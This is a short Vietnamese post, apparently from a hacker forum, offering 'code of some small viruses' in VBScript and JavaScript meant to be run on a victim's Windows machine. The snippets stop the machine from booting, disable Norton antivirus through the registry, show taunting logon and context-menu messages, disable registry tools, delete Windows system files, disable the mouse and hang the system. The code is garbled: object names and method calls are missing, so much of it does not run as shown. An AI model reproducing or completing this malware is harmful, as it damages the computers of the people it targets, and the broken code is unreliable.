Không cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " 2. Disable NAV: Dim wsh Set wsh. | Dưới đây là code của một số con virus nhỏ dưới dạng VBS: 1. Không cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " 2. Disable NAV: Dim wsh Set wsh= CreateObject( "") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program Scheduler\Start" s1,3, "REG_DWORD" 3. Hiển thị một message mỗi khi reboot máy: dim wsh Set wsh = CreateObject( "" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" s1+s2, "" s1+s3, "Ta la hacker day - Ta den tu DHTB" 4. Hiển thị một dòng lệnh khi click vào file hay folder: set reg=createobject("") "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che" "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U" 5. Làm cho các trò trên hoạt động bình thường: Dim objShell Set objShell = CreateObject( "" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurentVersion\" s2 = "Policies\System\DisableRegistryTools" s1+s2,1, "REG_DWORD" Dưới dạng Javascipt: var wsh; wsh=new ActiveXObject (""); // Winlogon when reboot var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; (s1+ s2, "") ; (s1+s3, "Ban da bi toi khong che") ; //Disable Registry var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Windows\\CurrentVersion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; (s1+s2,0,"REG_DWORD"); //Delete file làm cho victim khởi động tới Registry luôn var fso; fso=new ActiveXObject(""); var fe=("C:\\windows\\); true; //Shutdown windows //Disable Mouse (" mouse,disable"); //Hang up windows ("rundll32 user,disableoemlayer");
